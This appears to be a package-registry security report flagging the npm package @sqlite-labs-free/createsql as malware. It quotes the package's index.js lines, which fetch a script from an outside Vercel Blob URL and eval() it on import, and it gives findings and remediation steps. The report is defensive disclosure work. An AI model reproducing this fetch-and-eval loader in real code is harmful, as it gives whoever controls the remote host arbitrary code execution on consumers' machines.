registry / Remote code execution / @sqlite-labs-free/createsql
@sqlite-labs-free/createsql
This report shows the evidence for @sqlite-labs-free/createsql@1.0.5, the only known version.
AI Security Review
scanned 2mo ago · by lpm-firewall-aiThe source establishes an immediate remote-payload execution chain; no legitimate package functionality is present to justify it.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
Requiring or importing the package entrypoint.
Impact
Arbitrary code execution in the consuming process.
Mechanism
Remote script fetch followed by eval().
Attack narrative
The CommonJS entrypoint immediately calls fetchBlobData(), which retrieves script.js from Vercel Blob storage and evaluates the response text. Whoever controls that remote object can execute arbitrary JavaScript whenever a consumer imports the package.
AI rationale
The source establishes an immediate remote-payload execution chain; no legitimate package functionality is present to justify it.
Evidence
package.jsonindex.js
Network endpoints1
bdmkaoyijqmqa6bg.public.blob.vercel-storage.com/script.js
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- index.js fetches a remote script URL.
- index.js passes remote response text to eval().
- index.js invokes this chain immediately on import.
Evidence against
- package.json contains no lifecycle hooks.
- Only package files are package.json and index.js.
Behavioral surface
EvalNetwork
UrlStrings
Source & flagged code
3 flagged · loading sourceindex.jsView file
2try {
L3: const url = 'https://bdmkaoyijqmqa6bg.public.blob.vercel-storage.com/script.js';
L4: const response = await fetch(url);
...
L6:
L7: const data = await response.text();
L8: eval(data);
L9: } catch (error) {
Critical
Remote Asset Decode Execute
Source fetches a remote non-code asset, decodes its contents, and dynamically executes the decoded payload.
index.jsView on unpkg · L2•Trigger-reachable chain: manifest.main -> index.js
Reachable file contains a blocking source-risk pattern.
Critical
Trigger Reachable Dangerous Capability
A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.
index.jsView on unpkg7const data = await response.text();
L8: eval(data);
L9: } catch (error) {
High
Findings
2 Critical1 High2 Medium2 Low
CriticalRemote Asset Decode Executeindex.js
CriticalTrigger Reachable Dangerous Capabilityindex.js
HighEvalindex.js
MediumNetwork
MediumStructural Risk Force Deep Review
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to @sqlite-labs-free/createsql@1.0.5.
The versions list below shows the verdict for each recorded version.
- Avoid installing @sqlite-labs-free/createsql@1.0.5. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.